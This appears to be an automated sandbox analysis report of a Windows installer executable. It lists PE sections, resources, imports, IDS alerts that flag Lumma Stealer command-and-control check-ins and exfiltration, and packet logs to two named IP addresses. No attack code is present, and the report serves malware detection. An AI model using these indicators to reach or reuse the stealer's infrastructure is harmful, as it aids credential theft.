.bss	0x106000	0x6194	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x10d000	0x3840	0x3a00	e31e730fc86b9dac8932bd3f92752751	False	0.31041217672413796	data	5.202469592139362	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x111000	0x3c	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x112000	0x18	0x200	d6264f4705ad03600aa29f24c89eb799	False	0.05078125	MacBinary, Mon Feb 6 07:28:16 2040 INVALID date, modified Mon Feb 6 07:28:16 2040 "Q"	0.20544562813451883	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x113000	0x6d600	0x6d600	1b67589f903edb38a6f0dd56d6b97683	False	0.5853459821428572	data	7.319003457622621	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x113c44	0x134	Targa image data - Map 64 x 65536 x 1 +32 "\001"	English	United States	0.38636363636363635
RT_CURSOR	0x113d78	0x134	data	English	United States	0.4642857142857143
RT_CURSOR	0x113eac	0x134	data	English	United States	0.4805194805194805
RT_CURSOR	0x113fe0	0x134	data	English	United States	0.38311688311688313
RT_CURSOR	0x114114	0x134	data	English	United States	0.36038961038961037
RT_CURSOR	0x114248	0x134	data	English	United States	0.4090909090909091
RT_CURSOR	0x11437c	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"	English	United States	0.4967532467532468
RT_BITMAP	0x1144b0	0x4e8	Device independent bitmap graphic, 48 x 48 x 4, image size 1152			0.2945859872611465
RT_BITMAP	0x114998	0xe8	Device independent bitmap graphic, 16 x 16 x 4, image size 128			0.521551724137931
RT_ICON	0x114a80	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	United States	0.5675675675675675
RT_ICON	0x114ba8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 320	English	United States	0.4486994219653179
RT_ICON	0x115110	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	English	United States	0.4637096774193548
RT_ICON	0x1153f8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1152	English	United States	0.3935018050541516
RT_STRING	0x115ca0	0xec	data			0.6059322033898306
RT_STRING	0x115d8c	0x250	data			0.47466216216216217
RT_STRING	0x115fdc	0x28c	data			0.4647239263803681
RT_STRING	0x116268	0x3e4	data			0.4347389558232932
RT_STRING	0x11664c	0x9c	data			0.717948717948718
RT_STRING	0x1166e8	0xe8	data			0.6293103448275862
RT_STRING	0x1167d0	0x468	data			0.3820921985815603
RT_STRING	0x116c38	0x38c	data			0.3898678414096916
RT_STRING	0x116fc4	0x3dc	data			0.39271255060728744
RT_STRING	0x1173a0	0x360	data			0.37037037037037035
RT_STRING	0x117700	0x40c	data			0.3783783783783784
RT_STRING	0x117b0c	0x108	data			0.5113636363636364
RT_STRING	0x117c14	0xcc	data			0.6029411764705882
RT_STRING	0x117ce0	0x234	data			0.5070921985815603
RT_STRING	0x117f14	0x3c8	data			0.3181818181818182
RT_STRING	0x1182dc	0x32c	data			0.43349753694581283
RT_STRING	0x118608	0x2a0	data			0.41964285714285715
RT_RCDATA	0x1188a8	0x82e8	data	English	United States	0.11261637622344235
RT_RCDATA	0x120b90	0x10	data			1.5
RT_RCDATA	0x120ba0	0x1800	PE32+ executable (console) x86-64, for MS Windows	English	United States	0.3924153645833333
RT_RCDATA	0x1223a0	0x6b0	data			0.6466121495327103
RT_RCDATA	0x122a50	0x5b10	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows	English	United States	0.3255404941660947
RT_RCDATA	0x128560	0x125	Delphi compiled form 'TMainForm'			0.7508532423208191
RT_RCDATA	0x128688	0x3a2	Delphi compiled form 'TNewDiskForm'			0.524731182795699
RT_RCDATA	0x128a2c	0x320	Delphi compiled form 'TSelectFolderForm'			0.53625
RT_RCDATA	0x128d4c	0x300	Delphi compiled form 'TSelectLanguageForm'			0.5703125
RT_RCDATA	0x12904c	0x5d9	Delphi compiled form 'TUninstallProgressForm'			0.4562458249832999
RT_RCDATA	0x129628	0x461	Delphi compiled form 'TUninstSharedFileForm'			0.4335414808206958
RT_RCDATA	0x129a8c	0x2092	Delphi compiled form 'TWizardForm'			0.2299112497001679
RT_GROUP_CURSOR	0x12bb20	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x12bb34	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x12bb48	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x12bb5c	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x12bb70	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x12bb84	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x12bb98	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_ICON	0x12bbac	0x3e	data	English	United States	0.8387096774193549
RT_VERSION	0x12bbec	0x15c	data	English	United States	0.5689655172413793
RT_MANIFEST	0x12bd48	0x62c	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.4240506329113924

Imports

DLL	Import
oleaut32.dll	SysFreeString, SysReAllocStringLen, SysAllocStringLen
advapi32.dll	RegQueryValueExW, RegOpenKeyExW, RegCloseKey
user32.dll	GetKeyboardType, LoadStringW, MessageBoxA, CharNextW
kernel32.dll	GetACP, Sleep, VirtualFree, VirtualAlloc, GetSystemInfo, GetTickCount, QueryPerformanceCounter, GetVersion, GetCurrentThreadId, VirtualQuery, WideCharToMultiByte, SetCurrentDirectoryW, MultiByteToWideChar, lstrlenW, lstrcpynW, LoadLibraryExW, GetThreadLocale, GetStartupInfoA, GetProcAddress, GetModuleHandleW, GetModuleFileNameW, GetLocaleInfoW, GetCurrentDirectoryW, GetCommandLineW, FreeLibrary, FindFirstFileW, FindClose, ExitProcess, ExitThread, CreateThread, CompareStringW, WriteFile, UnhandledExceptionFilter, RtlUnwind, RaiseException, GetStdHandle, CloseHandle
kernel32.dll	TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleW
user32.dll	CreateWindowExW, WindowFromPoint, WaitMessage, WaitForInputIdle, UpdateWindow, UnregisterClassW, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, SystemParametersInfoW, ShowWindow, ShowScrollBar, ShowOwnedPopups, SetWindowsHookExW, SetWindowTextW, SetWindowPos, SetWindowPlacement, SetWindowLongW, SetTimer, SetScrollRange, SetScrollPos, SetScrollInfo, SetRectEmpty, SetRect, SetPropW, SetParent, SetMenuItemInfoW, SetMenu, SetForegroundWindow, SetFocus, SetCursor, SetClassLongW, SetCapture, SetActiveWindow, SendNotifyMessageW, SendMessageTimeoutW, SendMessageA, SendMessageW, ScrollWindowEx, ScrollWindow, ScreenToClient, ReplyMessage, RemovePropW, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageW, RegisterClipboardFormatW, RegisterClassW, RedrawWindow, PtInRect, PostQuitMessage, PostMessageW, PeekMessageA, PeekMessageW, OffsetRect, OemToCharBuffA, MsgWaitForMultipleObjectsEx, MsgWaitForMultipleObjects, MessageBoxW, MessageBeep, MapWindowPoints, MapVirtualKeyW, LoadStringW, LoadKeyboardLayoutW, LoadIconW, LoadCursorW, LoadBitmapW, KillTimer, IsZoomed, IsWindowVisible, IsWindowUnicode, IsWindowEnabled, IsWindow, IsRectEmpty, IsIconic, IsDialogMessageA, IsDialogMessageW, IsChild, InvalidateRect, IntersectRect, InsertMenuItemW, InsertMenuW, InflateRect, GetWindowThreadProcessId, GetWindowTextW, GetWindowRect, GetWindowPlacement, GetWindowLongW, GetWindowDC, GetTopWindow, GetSystemMetrics, GetSystemMenu, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollInfo, GetPropW, GetParent, GetWindow, GetMessagePos, GetMessageW, GetMenuStringW, GetMenuState, GetMenuItemInfoW, GetMenuItemID, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutNameW, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextW, GetIconInfo, GetForegroundWindow, GetFocus, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClientRect, GetClassLongW, GetClassInfoW, GetCapture, GetActiveWindow, FrameRect, FindWindowExW, FindWindowW, FillRect, ExitWindowsEx, EnumWindows, EnumThreadWindows, EnumChildWindows, EndPaint, EnableWindow, EnableScrollBar, EnableMenuItem, DrawTextExW, DrawTextW, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawFocusRect, DrawEdge, DispatchMessageA, DispatchMessageW, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DeleteMenu, DefWindowProcW, DefMDIChildProcW, DefFrameProcW, CreatePopupMenu, CreateMenu, CreateIcon, ClientToScreen, CheckMenuItem, CharUpperBuffW, CharNextW, CharLowerBuffW, CharLowerW, CallWindowProcW, CallNextHookEx, BringWindowToTop, BeginPaint, AppendMenuW, CharToOemBuffA, AdjustWindowRectEx, ActivateKeyboardLayout
msimg32.dll	AlphaBlend
gdi32.dll	UnrealizeObject, StretchBlt, SetWindowOrgEx, SetViewportOrgEx, SetTextColor, SetStretchBltMode, SetROP2, SetPixel, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SelectPalette, SelectObject, SaveDC, RoundRect, RestoreDC, RemoveFontResourceW, Rectangle, RectVisible, RealizePalette, Polyline, Pie, PatBlt, MoveToEx, MaskBlt, LineTo, LineDDA, IntersectClipRect, GetWindowOrgEx, GetTextMetricsW, GetTextExtentPointW, GetTextExtentPoint32W, GetSystemPaletteEntries, GetStockObject, GetRgnBox, GetPixel, GetPaletteEntries, GetObjectW, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetDCOrgEx, GetCurrentPositionEx, GetClipBox, GetBrushOrgEx, GetBitmapBits, GdiFlush, FrameRgn, ExtTextOutW, ExtFloodFill, ExcludeClipRect, EnumFontsW, Ellipse, DeleteObject, DeleteDC, CreateSolidBrush, CreateRectRgn, CreatePenIndirect, CreatePalette, CreateHalftonePalette, CreateFontIndirectW, CreateDIBitmap, CreateDIBSection, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, Chord, BitBlt, Arc, AddFontResourceW
version.dll	VerQueryValueW, GetFileVersionInfoSizeW, GetFileVersionInfoW
mpr.dll	WNetOpenEnumW, WNetGetUniversalNameW, WNetGetConnectionW, WNetEnumResourceW, WNetCloseEnum
kernel32.dll	lstrcpyW, lstrcmpW, WriteProfileStringW, WritePrivateProfileStringW, WriteFile, WideCharToMultiByte, WaitForSingleObject, WaitForMultipleObjectsEx, VirtualQueryEx, VirtualQuery, VirtualFree, VirtualAlloc, TransactNamedPipe, TerminateProcess, SwitchToThread, SizeofResource, SignalObjectAndWait, SetThreadLocale, SetNamedPipeHandleState, SetLastError, SetFileTime, SetFilePointer, SetFileAttributesW, SetEvent, SetErrorMode, SetEndOfFile, SetCurrentDirectoryW, ResumeThread, ResetEvent, RemoveDirectoryW, ReleaseMutex, ReadFile, QueryPerformanceCounter, OpenProcess, OpenMutexW, MultiByteToWideChar, MulDiv, MoveFileExW, MoveFileW, LockResource, LocalFree, LocalFileTimeToFileTime, LoadResource, LoadLibraryExW, LoadLibraryW, LeaveCriticalSection, IsDBCSLeadByte, IsBadWritePtr, InitializeCriticalSection, GlobalFindAtomW, GlobalDeleteAtom, GlobalAddAtomW, GetWindowsDirectoryW, GetVersionExW, GetVersion, GetUserDefaultLangID, GetTickCount, GetThreadLocale, GetSystemTimeAsFileTime, GetSystemInfo, GetSystemDirectoryW, GetStdHandle, GetShortPathNameW, GetProfileStringW, GetProcAddress, GetPrivateProfileStringW, GetOverlappedResult, GetModuleHandleW, GetModuleFileNameW, GetLogicalDrives, GetLocaleInfoW, GetLocalTime, GetLastError, GetFullPathNameW, GetFileSize, GetFileAttributesW, GetExitCodeThread, GetExitCodeProcess, GetEnvironmentVariableW, GetDriveTypeW, GetDiskFreeSpaceW, GetDateFormatW, GetCurrentThreadId, GetCurrentThread, GetCurrentProcessId, GetCurrentProcess, GetCurrentDirectoryW, GetComputerNameW, GetCommandLineW, GetCPInfo, FreeResource, InterlockedIncrement, InterlockedExchangeAdd, InterlockedExchange, InterlockedDecrement, InterlockedCompareExchange, FreeLibrary, FormatMessageW, FlushFileBuffers, FindResourceW, FindNextFileW, FindFirstFileW, FindClose, FileTimeToSystemTime, FileTimeToLocalFileTime, EnumCalendarInfoW, EnterCriticalSection, DeviceIoControl, DeleteFileW, DeleteCriticalSection, CreateThread, CreateProcessW, CreateNamedPipeW, CreateMutexW, CreateFileW, CreateEventW, CreateDirectoryW, CopyFileW, CompareStringW, CompareFileTime, CloseHandle
advapi32.dll	SetSecurityDescriptorDacl, RegSetValueExW, RegQueryValueExW, RegQueryInfoKeyW, RegOpenKeyExW, RegFlushKey, RegEnumValueW, RegEnumKeyExW, RegDeleteValueW, RegDeleteKeyW, RegCreateKeyExW, RegCloseKey, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, InitializeSecurityDescriptor, GetUserNameW, GetTokenInformation, FreeSid, EqualSid, AllocateAndInitializeSid
comctl32.dll	InitCommonControls
kernel32.dll	Sleep
oleaut32.dll	GetErrorInfo, GetActiveObject, RegisterTypeLib, LoadTypeLib, SysFreeString
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CLSIDFromProgID, CLSIDFromString, StringFromCLSID, CoCreateInstance, CoFreeUnusedLibraries, CoUninitialize, CoInitialize, IsEqualGUID
oleaut32.dll	SafeArrayPtrOfIndex, SafeArrayPutElement, SafeArrayGetElement, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayCreate, VariantChangeType, VariantCopyInd, VariantCopy, VariantClear, VariantInit
comctl32.dll	InitializeFlatSB, FlatSB_SetScrollProp, FlatSB_SetScrollPos, FlatSB_SetScrollInfo, FlatSB_GetScrollPos, FlatSB_GetScrollInfo, _TrackMouseEvent, ImageList_SetIconSize, ImageList_GetIconSize, ImageList_Write, ImageList_Read, ImageList_GetDragImage, ImageList_DragShowNolock, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_Remove, ImageList_DrawEx, ImageList_Draw, ImageList_GetBkColor, ImageList_SetBkColor, ImageList_Add, ImageList_SetImageCount, ImageList_GetImageCount, ImageList_Destroy, ImageList_Create, InitCommonControls
shell32.dll	ShellExecuteExW, ShellExecuteW, SHGetFileInfoW, ExtractIconW
shell32.dll	SHGetPathFromIDListW, SHGetMalloc, SHChangeNotify, SHBrowseForFolderW
comdlg32.dll	GetSaveFileNameW, GetOpenFileNameW
ole32.dll	CoDisconnectObject
advapi32.dll	AdjustTokenPrivileges
oleaut32.dll	SysFreeString

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-07T14:37:11.659198+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49748	104.21.25.52	443	TCP
2025-01-07T14:37:12.141741+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49748	104.21.25.52	443	TCP
2025-01-07T14:37:12.141741+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49748	104.21.25.52	443	TCP
2025-01-07T14:37:12.609952+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49749	104.21.25.52	443	TCP
2025-01-07T14:37:13.061485+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49749	104.21.25.52	443	TCP
2025-01-07T14:37:13.061485+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49749	104.21.25.52	443	TCP
2025-01-07T14:37:13.913865+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49750	104.21.25.52	443	TCP
2025-01-07T14:37:15.152429+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49751	104.21.25.52	443	TCP
2025-01-07T14:37:16.395868+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49752	104.21.25.52	443	TCP
2025-01-07T14:37:22.773652+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49754	104.21.25.52	443	TCP
2025-01-07T14:37:24.415568+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49755	104.21.25.52	443	TCP
2025-01-07T14:37:24.859758+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49755	104.21.25.52	443	TCP
2025-01-07T14:37:26.047768+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49756	104.21.25.52	443	TCP
2025-01-07T14:37:26.052786+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	49756	104.21.25.52	443	TCP
2025-01-07T14:37:28.145395+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49757	104.21.25.52	443	TCP
2025-01-07T14:37:28.640242+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49757	104.21.25.52	443	TCP
2025-01-07T14:37:29.414835+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49758	185.161.251.21	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 7, 2025 14:37:11.168333054 CET	49748	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:11.168380022 CET	443	49748	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:11.168493032 CET	49748	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:11.171468973 CET	49748	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:11.171484947 CET	443	49748	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:11.659068108 CET	443	49748	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:11.659198046 CET	49748	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:11.665258884 CET	49748	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:11.665275097 CET	443	49748	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:11.665540934 CET	443	49748	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:11.713156939 CET	49748	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:11.717955112 CET	49748	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:11.717983007 CET	49748	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:11.718099117 CET	443	49748	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:12.141786098 CET	443	49748	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:12.141906023 CET	443	49748	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:12.142030001 CET	49748	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:12.144071102 CET	49748	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:12.144094944 CET	443	49748	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:12.144115925 CET	49748	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:12.144121885 CET	443	49748	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:12.152410030 CET	49749	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:12.152465105 CET	443	49749	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:12.152559042 CET	49749	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:12.152854919 CET	49749	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:12.152864933 CET	443	49749	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:12.609733105 CET	443	49749	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:12.609951973 CET	49749	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:12.611422062 CET	49749	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:12.611443996 CET	443	49749	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:12.611681938 CET	443	49749	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:12.613076925 CET	49749	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:12.613126040 CET	49749	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:12.613157988 CET	443	49749	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:13.061485052 CET	443	49749	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:13.061542988 CET	443	49749	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:13.061582088 CET	443	49749	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:13.061611891 CET	49749	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:13.061619043 CET	443	49749	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:13.061650991 CET	443	49749	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:13.061671019 CET	49749	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:13.062031984 CET	443	49749	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:13.062088013 CET	49749	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:13.062098980 CET	443	49749	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:13.062314034 CET	443	49749	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:13.062350988 CET	443	49749	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:13.062364101 CET	49749	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:13.062371016 CET	443	49749	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:13.062459946 CET	49749	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:13.062467098 CET	443	49749	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:13.066183090 CET	443	49749	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:13.066243887 CET	49749	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:13.066251993 CET	443	49749	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:13.119429111 CET	49749	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:13.148682117 CET	443	49749	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:13.148752928 CET	443	49749	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:13.148781061 CET	443	49749	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:13.148864031 CET	49749	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:13.148886919 CET	443	49749	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:13.148935080 CET	49749	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:13.169214010 CET	443	49749	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:13.169333935 CET	443	49749	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:13.169403076 CET	49749	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:13.169619083 CET	49749	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:13.169636011 CET	443	49749	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:13.169660091 CET	49749	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:13.169665098 CET	443	49749	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:13.442698956 CET	49750	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:13.442750931 CET	443	49750	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:13.442848921 CET	49750	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:13.443205118 CET	49750	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:13.443212032 CET	443	49750	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:13.913685083 CET	443	49750	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:13.913865089 CET	49750	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:13.915172100 CET	49750	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:13.915182114 CET	443	49750	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:13.915381908 CET	443	49750	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:13.916640043 CET	49750	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:13.916810036 CET	49750	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:13.916826010 CET	443	49750	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:13.916882992 CET	49750	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:13.916887999 CET	443	49750	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:14.520318985 CET	443	49750	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:14.520423889 CET	443	49750	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:14.520539999 CET	49750	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:14.520746946 CET	49750	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:14.520766973 CET	443	49750	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:14.665724993 CET	49751	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:14.665781975 CET	443	49751	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:14.665882111 CET	49751	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:14.666219950 CET	49751	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:14.666227102 CET	443	49751	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:15.152338028 CET	443	49751	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:15.152429104 CET	49751	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:15.153763056 CET	49751	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:15.153775930 CET	443	49751	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:15.154021978 CET	443	49751	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:15.155183077 CET	49751	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:15.155296087 CET	49751	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:15.155339956 CET	443	49751	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:15.629117966 CET	443	49751	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:15.629216909 CET	443	49751	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:15.629342079 CET	49751	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:15.629659891 CET	49751	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:15.629682064 CET	443	49751	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:15.917972088 CET	49752	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:15.918025017 CET	443	49752	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:15.918101072 CET	49752	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:15.918910027 CET	49752	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:15.918926001 CET	443	49752	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:16.395775080 CET	443	49752	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:16.395868063 CET	49752	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:16.397279978 CET	49752	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:16.397290945 CET	443	49752	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:16.397551060 CET	443	49752	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:16.398639917 CET	49752	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:16.398781061 CET	49752	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:16.398811102 CET	443	49752	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:16.398874044 CET	49752	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:16.398881912 CET	443	49752	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:21.788935900 CET	443	49752	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:21.789031982 CET	443	49752	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:21.789160967 CET	49752	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:21.789366961 CET	49752	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:21.789383888 CET	443	49752	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:22.303819895 CET	49754	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:22.303870916 CET	443	49754	104.21.25.52	192.168.2.4
Jan 7, 2025 14:37:22.303960085 CET	49754	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:22.304264069 CET	49754	443	192.168.2.4	104.21.25.52
Jan 7, 2025 14:37:22.304277897 CET	443	49754	104.21.25.52	192.168.2.4
